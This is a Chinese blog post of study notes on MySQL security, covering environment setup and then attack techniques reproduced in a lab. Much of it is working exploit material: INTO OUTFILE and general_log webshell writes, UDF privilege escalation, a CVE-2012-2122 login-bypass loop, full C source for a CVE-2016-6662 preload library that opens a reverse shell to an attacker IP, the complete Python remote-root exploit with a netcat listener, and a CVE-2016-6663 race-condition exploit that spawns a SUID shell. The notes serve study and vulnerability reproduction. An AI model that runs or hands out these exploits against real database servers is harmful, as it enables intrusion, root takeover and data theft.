# 前言
前面将常见的内存马都简单的学习了一下,前两天做题有遇到了有关数据库的安全性问题,回想了一下前面对于数据库的安全涉及的很乱,反正是了解的不多,这里就简单的总结一下。因为也是对 Mysql 数据库比较熟悉就先拿它开刀,全篇写写停停,逻辑可能较为混乱
# Mysql 是什么?
或许很多人和我一样是从 SQL 注入开始入门的 web 安全,至少我们专业课的 web 安全是从它开始的。我个人痛苦和脱发的开始便是从 sql-labs 展开的。MySQL 是一款开源的关系型数据库管理系统(RDBMS),由瑞典 MySQL AB 公司创建,现由 Oracle Corporation 维护。它使用结构化查询语言(SQL)进行数据库管理和操作,支持多用户、多线程,并可在各种操作系统上运行。MySQL 广泛用于 Web 应用程序,是许多网站和应用的后端数据库选择之一。
# 环境搭建
关于关系数据库相关的内容实际上我在学校里开相关的专业课的时候有简单的写过一些笔记,这里也不在过多的啰嗦分类:数据库 | Clown の Blog = (xcu.icu)。这里直接搭建一个后面漏洞复现所需要的版本对应的环境。所需要的版本都可以在下面的连接中找到
https:/archives/community/ |
选择下载 mysql5.7.10,本篇记录以 5.7.10 作为例子。下载时选择 源码方式,系统为常规 Linux,下载含有 Boost Headers 的源码包:
接下来就是环境的搭建,首先我们创建一个低权限用户来登录 mysql
useradd -s /sbin/nologin mysql |
这里创建一个 mysql 的低权限用户,不允许其登录,将我们上面下载的源码上传并解压
在执行安装前我们还需要安装一下相关的依赖
yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison |
然后进入到刚刚解压的目录下执行下面的命令进行编译
cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost |
然后使用 make 命令对其进行安装
make && make install |
这个安装可以需要的时间比较久,建议在编译安装完成后快照一下,重装的痛苦
然后该配置 mysql 了,安装完 mysql 后会在 /usr/local/ 目录下创建一个 mysql 目录,首先修改 /etc/my.cnf 配置文件,当然这个文件不一定是会自动创建的,这个配置文件的模版文件放在 mysql 在 support-files 目录中
这个 my-default.cnf 文件复制过去即可,在其中将 basedir 等修改为下图所示
basedir 设定为mysql所在的目录 | |
datadir 设定为数据库文件存放目录 | |
port 设定为数据库开放端口 |
这里还需要将上面存放数据库文件的目录创建一下
然后创建 mysql 服务,进入到 mysql 目录下的 bin 目录
./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data |
这条命令执行完成后会在 mysql 的 support-files 目录下创建一个 mysql.server 文件,将 mysql.server 文件拷贝为 /etc/init.d/mysqld,然后这里就可以直接用这个 mysqld 命令启动了
cp mysql.server /etc/init.d/mysqld |
到这里 mysql 环境就算是搭建完成了,这里把 mysql 命令加入到环境变量中
export PATH=$PATH:/usr/local/mysql/bin | |
source ~/.bashrc |
这样可以了,然后我们创建一个用户
CREATE USER 'Clown'@'localhost' IDENTIFIED BY '123456';#创建一个新用户 | |
GRANT ALL PRIVILEGES ON *.* TO 'clown'@'localhost';#赋予权限 | |
FLUSH PRIVILEGES;#刷新权限 |
# mysql 的一些利用方式
# webshell
# into outfile
这种利用方式可以说是在传统 ctf 中最为常见的一种利用方式了,当然利用也是有着许多前提条件的
- 知道网站的绝对物理路径
- 数据库的高权限用户
- secure_file_priv 无限制
- 对应的目录具有写入权限
对于 secure_file_priv 我们可以通过下面的语句进行查询
show global variables like '%secure_file_priv%'; |
值为空时不限制目录,值为 null 时不允许导入导出,值为一个目录的时候表示只能在该目录导入导出
在 mysql5.5 之前默认都是空,之后默认为 null
如果满足上面的条件的情况下就可以通过 select 语句来向目标系统中写入 shell,类似下面的语句
select '<?php phpinfo(); ?>' into outfile '/var/www/html/.conf.php'; |
# general_log
这种方式限制就比较多了,特别是 general_log 默认的情况下还是关闭的,想要利用这种方式我们需要满足下面的条件
- web 目录是可写的
- 高权限运行 mysql 或者 apache
- 在版本符合的情况下可以利用 CVE-2016-6662 来写入
可以通过修改全局变量来写入文件
show global variables like "%general%"; |
这里可以通过 set 来修改配置
# 更改日志文件位置 | |
set global general_log = "ON"; | |
set global general_log_file='/var/www/html/.conf.php'; |
设置完成后才去查看全局变量
然后直接向其中添加语句即可
select '<?php phpinfo();?>'; |
上面两种方法在 linux 系统中的成功率都不会很高,因为在 linux 中的权限校验比较严格。如果是在 win 系统中成功率会高上很多
# UDF 提权
UDF 全称 user defined function,直译就是用户自定义函数。通过添加新函数对 mysql 功能进行扩充,类似 user (),database (),很显然的是我们想要利用 UDF 我们的基础权限就需要很高,拥有高权限后我们就可以通过编写自己的连接文件让 mysql 调用来实现我们自定义的命令
从 MySQL 5.0.67 开始,UDF 的动态链接库必须放在 mysql 安装目录的 lib\plugin 文件夹中才能创建自定义函数,这个位置我们是可以通过 sql 语句来查询到的
select @@plugin_dir; | |
#或者 | |
show global variables like 'plugin%'; | |
#或者 | |
select host,user,plugin from mysql.user where user = substring_index(user(),'@',1); |
如果 plugin_dir 的值为空,则参照 5.0.67 之前即文件必须位于系统动态链接器的搜索目录中。
sqlmap 中自带了对应系统的连接库文件
这里先用脚本对链接库进行解密
python cloak.py -d -i E:\webtools\sqlmap\data\udf\mysql\linux\64\lib_mysqludf_sys.so_ |
这里会生成一个对应的解密后的文件,这里可以通过下面的命令查看有哪些命令可以用
nm -D lib_mysqludf_sys.so
接下来就是想办法加链接文件上传,上传到上面查询的 plugin 目录下,但是这个文件不一定存在,可以通过利用 NTFS ADS 流来创建文件夹
select "" into dumpfile 'D:\\PhpStudy\\MySQL\\lib\\plugin::$index_allocation'; |
然后直接将文件导入就可以了
select 0x上面的一长串 into dumpfile "/usr/lib/mysql/p1ugin/udf.so" | |
create function sys_eval returns string soname "udf.so"; | |
#删除 | |
drop function sys_eval; |
# udf shell
在目标 MySQL 在内网情况下,我们没法直连,使用起来就很麻烦,实际上 Navicat 提供了 tunnel 隧道脚本
我们可以将脚本上传
然后连接的时候就可以选择 http 连接
然后再尝试连接的时候主机名填写 127.0.0.1 即可
# 漏洞复现
# CVE-2012-2122
影响范围:
Mariadb 和 mysql 版本:5.1.61、5.0.11、5.3.5、5.5.22
这个漏洞实际上很简单,至少利用起来是很简单的,漏洞成因这里也简单说一下,实际上基本遇不到了
这里我下载了一份 mysql-5.1.61 的源码,在 sql 目录下的 password.c 文件中有这样一个函数,在连接数据库的时候,用户键入的密码会与期望的正确密码相比较,这里的 memcmp 函数的返回值实际上是 int,但是 my_bool 实际上是 char,在类型转化的时候就可以回发生截断,比如说实际上是 0x100,截断导致结果为 0,check_scramble 函数的返回结果就变成了完全相反的,就会导致判断用户键入的密码与预期的正确密码相同。在上面搭建的 5.7.10 的版本中相同位置代码如下
这个的影响版本已经很久远了,所以这里就不在搭建环境,直接使用 vulhub 中的环境来复现
这里环境启动后直接利用
for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done |
当然在 msf 中也有对应的漏洞利用模块:auxiliary/scanner/mysql/mysql_authbypass_hashdump
这里还是用上面的环境
这里就拿到了密码 123456
验证成功
在数据库中可以这样 select host, user, password from mysql.user; 或者 SELECT host, user, authentication_string FROM mysql.user; 来查询数据库的用户名密码的 hash 值
# CVE-2016-6662
# 攻击演示
影响范围 :
MySQL <= 5.7.14 MySQL <= 5.6.32 MySQL <= 5.5.51
漏洞成因:
mysql 安装包里有一个 mysqld_safe 的脚本用来启动 mysql 的服务进程如下图
这个进程能在启动 mysql 之前预加载共享库文件,通过参数
–malloc-lib = LIB /usr/local/mysql/bin/mysqld_safe: |
但是由于是配置文件来指定对应的 so 文件,mysql 服务需要重新启动才会加载配置文件。
先演示一下整个过程,这里现将对应的攻击脚本下载下来
wget https://legalhackers.com/exploits/mysql_hookandroot_lib.c |
下面是 exp 的主要内容
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <dlfcn.h> | |
#include <stdlib.h> | |
#include <stdarg.h> | |
#include <fcntl.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <arpa/inet.h> | |
#define ATTACKERS_IP "192.168.246.136"// 攻击机的 ip | |
#define SHELL_PORT 6667// 攻击机监听的端口 | |
#define INJECTED_CONF "/etc/mysql/my.cnf"// 目标机配置文件所在的位置 | |
char* env_list[] = { "HOME=/root", NULL }; | |
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]); | |
static execvp_func_t old_execvp = NULL; | |
//fork& 在启动 mysqld 之前向攻击者发送一个 bash shell | |
// 创建一个 TCP 连接并反向 shell 连接到攻击者主机 | |
void reverse_shell(void) { | |
int i; int sockfd; | |
//socklen_t socklen; | |
struct sockaddr_in srv_addr; | |
srv_addr.sin_family = AF_INET; | |
srv_addr.sin_port = htons( SHELL_PORT ); // 连接回端口 | |
srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // 连接回 IP | |
// 创建新的 TCP 套接字 & amp;& 连接 | |
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP ); | |
connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)); | |
for(i = 0; i <= 2; i++) dup2(sockfd, i); | |
execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list ); | |
exit(0); | |
} | |
// 清理 MySQL 配置文件,以确保在 MySQL 服务启动之前没有恶意注入的内容。它通过截断配置文件来实现。 | |
int config_cleanup() { | |
FILE *conf; | |
char buffer[2000]; | |
long cut_offset=0; | |
conf = fopen(INJECTED_CONF, "r+"); | |
if (!conf) return 1; | |
while (!feof(conf)) { | |
fgets(buffer, sizeof(buffer), conf); | |
if (strstr(buffer,"/usr/sbin/mysqld, Version")) { | |
cut_offset = (ftell(conf) - strlen(buffer)); | |
} | |
} | |
if (cut_offset>0) ftruncate(fileno(conf), cut_offset); | |
fclose(conf); | |
return 0; | |
} | |
// execvp() hook | |
//execvp 重写,通过 dlsym 函数获取原始 execvp 函数的地址,然后在 execvp 被调用之前,先执行 reverse_shell 函数,然后再调用原始的 execvp 函数。 | |
int execvp(const char* filename, char* const argv[]) { | |
pid_t pid; | |
int fd; | |
// Simple root PoC (touch /root/root_via_mysql) | |
fd = open("/root/root_ via_mysql", O_CREAT); | |
close(fd); | |
old_execvp = dlsym(RTLD_NEXT, "execvp"); | |
// 派生一个反向 shell 并执行原始的 execvp()函数 | |
pid = fork(); | |
if (pid == 0) | |
reverse_shell(); | |
// 在启动 mysqld 之前清除注入的有效负载 | |
config_cleanup(); | |
return old_execvp(filename, argv); | |
} |
使用 gcc 编译该文件
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl |
然后将这个文件上传到前面搭建 mysql 服务的主机上,修改配置文件在 [mysqld] 下加上一行配置:
malloc_lib=/tmp/mysql_hookandroot_lib.so |
这里这个路径就是我们上传我的 so 文件的路径,然后重新启动 mysql 服务
这里可以看到就已经成功的 getshell 了,攻击流程简单总结一下就是,将 so 文件写入,然后修改配置文件重启服务,说起来利用条件还是比较苛刻的。上面能成功复现是因为我们有目标机的 shell,配置文件我们可以直接去修改。下面我们尝试有 mysql 权限的情况下扩大危害(但是需要重新启动服务 emmm)
# mysql_root 权限
首先刷新 root 权限让其能够外网登录
grant all privileges on *.* to 'root'@'%' identified by 'clown'; | |
flush privileges; |
这里先查看一下安全性相关的变量
show variables like "%secure%"; |
这里可以看到 mysql5.7.10 默认是开放 secure_file_priv 的,接下来需要利用 dumpfile 来将我们生成的 so 文件上传到目标上
import binascii | |
file1 = open("mysql_hookandroot_lib.so", "rb") | |
hexstr = binascii.b2a_hex(file1.read()) | |
file1.close() | |
print(hexstr) |
这里简单的脚本将这个文件转为 16 进制
拿到这样一串 16 进制的数据
select 0x(上面的字符串) into dumpfile "/tmp/mysql_hookandroot_lib.so" |
这样就已经完成了第一步,将我们的 so 文件传入,然后就是整个漏洞能够利用最重要的一个点,就是我们需要修改或者增加配置文件
值得注意的是配置文件的默认路径根据版本和操作系统略有不同
这里我们可以先尝试新增一个配置文件
select "[mysqld]\nmalloc_lib=/tmp/mysql_hookandroot_lib.so" into outfile "/usr/local/mysql/my.cnf"; |
但是在 mysql 中有个安全策略:如果配置文件其他用户对其具有可写的权限,则将会忽略这个配置文件,我们查看刚刚的 so 文件
可以看到,这个文件对所有用户都是可写的,所以很显然,这里就不能通过这个 outfile 或者这个 dumpfile 来新添加配置文件,但是在 mysql 中想要写入文件还有一个语句就是:general_log(而且这个语句的写入是追加模式)
set global general_log_file = '/etc/my.cnf'; | |
SET GLOBAL general_log = ON; |
这里香江日志的路径设置为我们的配置文件,然后将日志功能打开
select " | |
[mysqld] | |
malloc_lib=/tmp/mysql_hookandroot_lib.so | |
#"; |
然后将日志关闭,然后再重新启动
这里可以看到就已经成功反弹 shell 了
这里的利用条件也是比较苛刻,对文件的权限就比较看运气了
# mysql_普通权限
上面是 root 权限,所以我们可以对 general_log 配置做一些修改
但是实际上非 root 用户也是可以成功利用的,只需要一个具有 select,insert,create,file 权限的用户即可
我们可以利用 MySQL 触发器的方法来成功写入修改配置文件:
delimiter | | |
use youdatabase | |
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf | |
AFTER INSERT | |
ON `active_table` FOR EACH ROW | |
BEGIN | |
DECLARE void varchar(550); | |
set global general_log_file='/etc/my.cnf'; | |
set global general_log = on; | |
select " | |
[mysqld] | |
malloc_lib='/tmp/mysql_hookandroot_lib.so' | |
" INTO void; | |
set global general_log = off; | |
END; | |
| |
mysql 的触发器可以通过设置 DEFINER 参数,以别的用户身份执行触发器的 SQL 语句。当表刷新的时候就会执行触发器,比如通过 insert 来让表刷新:
INSERT INTO `active_table` VALUES('xyz'); |
触发器的代码会以 mysql root 权限执行,从而让攻击者修改 general_log 设置,即使此时攻击者没有数据库的管理员权限。
想要以 root 身份执行触发器,创建者必须具有 super 权限:
给出一个利用脚本:http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
主要代码部分如下:
intro = """ | |
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) | |
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit | |
For testing purposes only. Do no harm. | |
Discovered/Coded by: | |
Dawid Golunski | |
http://legalhackers.com | |
""" | |
import argparse | |
import mysql.connector | |
import binascii | |
import subprocess | |
def info(str): | |
print "[+] " + str + "\n" | |
def errmsg(str): | |
print "[!] " + str + "\n" | |
def shutdown(code): | |
if (code==0): | |
info("Exiting (code: %d)\n" % code) | |
else: | |
errmsg("Exiting (code: %d)\n" % code) | |
exit(code) | |
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so" | |
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
(result, error) = process.communicate() | |
rc = process.wait() | |
# where will the library to be preloaded reside? /tmp might get emptied on reboot | |
# /var/lib/mysql is safer option (and mysql can definitely write in there ;) | |
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so' | |
# Main Meat | |
print intro | |
# Parse input args | |
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662') | |
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') | |
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password') | |
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name') | |
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host') | |
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user') | |
args = parser.parse_args() | |
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions | |
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables) | |
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB)) | |
try: | |
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST) | |
except mysql.connector.Error as err: | |
errmsg("Failed to connect to the target: {}".format(err)) | |
shutdown(1) | |
try: | |
cursor = dbconn.cursor() | |
cursor.execute("SHOW GRANTS") | |
except mysql.connector.Error as err: | |
errmsg("Something went wrong: {}".format(err)) | |
shutdown(2) | |
privs = cursor.fetchall() | |
info("The account in use has the following grants/perms: " ) | |
for priv in privs: | |
print priv[0] | |
print "" | |
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld | |
# process execution and run our code (Remote Root Shell) | |
# Remember to match the architecture of the target (not your machine!) otherwise the library | |
# will not load properly on the target. | |
info("Compiling mysql_hookandroot_lib.so") | |
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl" | |
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
(result, error) = process.communicate() | |
rc = process.wait() | |
if rc != 0: | |
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd) | |
print error | |
shutdown(2) | |
# Load mysql_hookandroot_lib.so library and encode it into HEX | |
info("Converting mysql_hookandroot_lib.so into HEX") | |
hookandrootlib_path = './mysql_hookandroot_lib.so' | |
with open(hookandrootlib_path, 'rb') as f: | |
content = f.read() | |
hookandrootlib_hex = binascii.hexlify(content) | |
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG | |
# in spite of the lack of SUPER/admin privileges (attacker only needs SELECT/FILE privileges). | |
# Decoded payload (paths may differ) will look similar to: | |
""" | |
DELIMITER // | |
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf | |
AFTER INSERT | |
ON `poctable` FOR EACH ROW | |
BEGIN | |
DECLARE void varchar(550); | |
set global general_log_file='/var/lib/mysql/my.cnf'; | |
set global general_log = on; | |
select " | |
# 0ldSQL_MySQL_RCE_exploit got here :) | |
[mysqld] | |
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' | |
[abyss] | |
" INTO void; | |
set global general_log = off; | |
END; // | |
DELIMITER ; | |
""" | |
trigger_payload="""TYPE=TRIGGERS | |
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND' | |
sql_modes=0 | |
definers='root@localhost' | |
client_cs_names='utf8' | |
connection_cl_names='utf8_general_ci' | |
db_cl_names='latin1_swedish_ci' | |
""" % (args.TARGET_MYCNF, malloc_lib_path) | |
# Convert trigger into HEX to pass it to unhex() SQL function | |
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload) | |
# Save trigger into a trigger file | |
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB | |
info("Saving trigger payload into %s" % (TRG_path)) | |
try: | |
cursor = dbconn.cursor() | |
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) ) | |
except mysql.connector.Error as err: | |
errmsg("Something went wrong: {}".format(err)) | |
shutdown(4) | |
# Save library into a trigger file | |
info("Dumping shared library into %s file on the target" % malloc_lib_path) | |
try: | |
cursor = dbconn.cursor() | |
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) ) | |
except mysql.connector.Error as err: | |
errmsg("Something went wrong: {}".format(err)) | |
shutdown(5) | |
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server | |
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded") | |
try: | |
cursor = dbconn.cursor() | |
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" ) | |
except mysql.connector.Error as err: | |
errmsg("Something went wrong: {}".format(err)) | |
shutdown(6) | |
# Finally, execute the trigger's payload by inserting anything into `poctable`. | |
# The payload will write to the mysql config file at this point. | |
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF ) | |
try: | |
cursor = dbconn.cursor() | |
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" ) | |
except mysql.connector.Error as err: | |
errmsg("Something went wrong: {}".format(err)) | |
shutdown(6) | |
# Check on the config that was just created | |
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF ) | |
try: | |
cursor = dbconn.cursor() | |
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF) | |
except mysql.connector.Error as err: | |
errmsg("Something went wrong: {}".format(err)) | |
shutdown(2) | |
finally: | |
dbconn.close() # Close DB connection | |
print "" | |
myconfig = cursor.fetchall() | |
print myconfig[0][0] | |
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)") | |
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;) | |
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" ) | |
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"]) | |
listener.communicate() | |
print "" | |
# Show config again after all the action is done | |
info("Shell closed. Hope you had fun. ") | |
# Mission complete, but just for now... Stay tuned :) | |
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""") | |
# Shutdown | |
shutdown(0) |
# 拓展
上面的 CVE-2016-6662,可以将 mysql 权限提升为 root 权限,这里简单记录一下 CVE-2016-6663
# CVE-2016-6663
该漏洞可以从 www-data 提升到 mysql 权限
影响 MySQL 版本:
- <= 5.5.51
- <= 5.6.32
- <= 5.7.14
利用条件:
- 获得了一个 www-data 权限
- 与目标主机有交互环境
- 已经拿到了一个低权限(CREATE/INSERT/SELECT 权限)的 MySQL 账户的用户名和密码
利用脚本:https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html,如下
#include <fcntl.h> | |
#include <grp.h> | |
#include <mysql.h> | |
#include <pwd.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/inotify.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <time.h> | |
#include <unistd.h> | |
#define EXP_PATH "/tmp/mysql_privesc_exploit" | |
#define EXP_DIRN "mysql_privesc_exploit" | |
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD" | |
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD" | |
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD" | |
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary | |
MYSQL *conn; // DB handles | |
MYSQL_RES *res; | |
MYSQL_ROW row; | |
unsigned long cnt; | |
void intro() { | |
printf( | |
"\033[94m\n" | |
"MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n" | |
"mysql-privesc-race.c (ver. 1.0)\n\n" | |
"CVE-2016-6663 / CVE-2016-5616\n\n" | |
"For testing purposes only. Do no harm.\n\n" | |
"Discovered/Coded by:\n\n" | |
"Dawid Golunski \n" | |
"http://legalhackers.com" | |
"\033[0m\n\n"); | |
} | |
void usage(char *argv0) { | |
intro(); | |
printf("Usage:\n\n%s user pass db_host database\n\n", argv0); | |
} | |
void mysql_cmd(char *sql_cmd, int silent) { | |
if (!silent) { | |
printf("%s \n", sql_cmd); | |
} | |
if (mysql_query(conn, sql_cmd)) { | |
fprintf(stderr, "%s\n", mysql_error(conn)); | |
exit(1); | |
} | |
res = mysql_store_result(conn); | |
if (res>0) mysql_free_result(res); | |
} | |
int main(int argc,char **argv) | |
{ | |
int randomnum = 0; | |
int io_notified = 0; | |
int myd_handle; | |
int wpid; | |
int is_shell_suid=0; | |
pid_t pid; | |
int status; | |
struct stat st; | |
/* io notify */ | |
int fd; | |
int ret; | |
char buf[4096] __attribute__((aligned(8))); | |
int num_read; | |
struct inotify_event *event; | |
/* credentials */ | |
char *user = argv[1]; | |
char *password = argv[2]; | |
char *db_host = argv[3]; | |
char *database = argv[4]; | |
// Disable buffering of stdout | |
setvbuf(stdout, NULL, _IONBF, 0); | |
// Get the params | |
if (argc!=5) { | |
usage(argv[0]); | |
exit(1); | |
} | |
intro(); | |
// Show initial privileges | |
printf("\n[+] Starting the exploit as: \n"); | |
system("id"); | |
// Connect to the database server with provided credentials | |
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host); | |
conn = mysql_init(NULL); | |
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { | |
fprintf(stderr, "%s\n", mysql_error(conn)); | |
exit(1); | |
} | |
// Prepare tmp dir | |
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN); | |
umask(000); | |
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); | |
system("chmod g+s /tmp/" EXP_DIRN ); | |
// Prepare exploit tables :) | |
printf("\n[+] Creating mysql tables \n\n"); | |
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0); | |
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0); | |
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); | |
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); | |
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file | |
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory | |
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n"); | |
system("cp /bin/bash " SUID_SHELL); | |
system("ls -l " SUID_SHELL); | |
// Use inotify to get the timing right | |
fd = inotify_init(); | |
if (fd < 0) { | |
printf("failed to inotify_init\n"); | |
return -1; | |
} | |
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE); | |
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */ | |
printf("\n[+] Entering the race loop... Hang in there...\n"); | |
while ( is_shell_suid != 1 ) { | |
cnt++; | |
if ( (cnt % 100) == 0 ) { | |
printf("->"); | |
//fflush(stdout); | |
} | |
/* Create empty file , remove if already exists */ | |
unlink(MYSQL_TEMP_FILE); | |
unlink(MYSQL_TAB_FILE); | |
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1); | |
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1); | |
/* random num if needed */ | |
srand ( time(NULL) ); | |
randomnum = ( rand() % MAX_DELAY ); | |
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink | |
pid = fork(); | |
if (pid < 0) { | |
fprintf(stderr, "Fork failed :(\n"); | |
} | |
/* Child process - executes REPAIR TABLE SQL statement */ | |
if (pid == 0) { | |
usleep(500); | |
unlink(MYSQL_TEMP_FILE); | |
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1); | |
// child stops here | |
exit(0); | |
} | |
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ | |
if (pid > 0 ) { | |
io_notified = 0; | |
while (1) { | |
int processed = 0; | |
ret = read(fd, buf, sizeof(buf)); | |
if (ret < 0) { | |
break; | |
} | |
while (processed < ret) { | |
event = (struct inotify_event *)(buf + processed); | |
if (event->mask & IN_CLOSE) { | |
if (!strcmp(event->name, "exploit_table.TMD")) { | |
//usleep(randomnum); | |
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file | |
unlink(MYSQL_TAB_FILE); | |
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777); | |
close(myd_handle); | |
chmod(MYSQL_TAB_FILE, 04777); | |
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec | |
unlink(MYSQL_TEMP_FILE); | |
symlink(SUID_SHELL, MYSQL_TEMP_FILE); | |
io_notified=1; | |
} | |
} | |
processed += sizeof(struct inotify_event); | |
} | |
if (io_notified) { | |
break; | |
} | |
} | |
waitpid(pid, &status, 0); | |
} | |
// Check if SUID bit was set at the end of this attempt | |
if ( lstat(SUID_SHELL, &st) == 0 ) { | |
if (st.st_mode & S_ISUID) { | |
is_shell_suid = 1; | |
} | |
} | |
} | |
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt); | |
system("ls -l " SUID_SHELL); | |
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n"); | |
system(SUID_SHELL " -p -i "); | |
//system(SUID_SHELL " -p -c '/bin/bash -i -p'"); | |
/* close MySQL connection and exit */ | |
printf("\n[+] Job done. Exiting\n\n"); | |
mysql_close(conn); | |
return 0; | |
} |
通过下面的命令将其编译
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient |
最后,在 shell 环境中执行的 exp 程序:
./mysql-privesc-race ctf 123456 localhost ctf_table |
这里只做记录
参考链接:
- https://www.anquanke.com/post/id/84557
- https://www.anquanke.com/post/id/84554
- https://blog.csdn.net/qq_36119192/article/details/84863268
- https://paper.seebug.org/46/
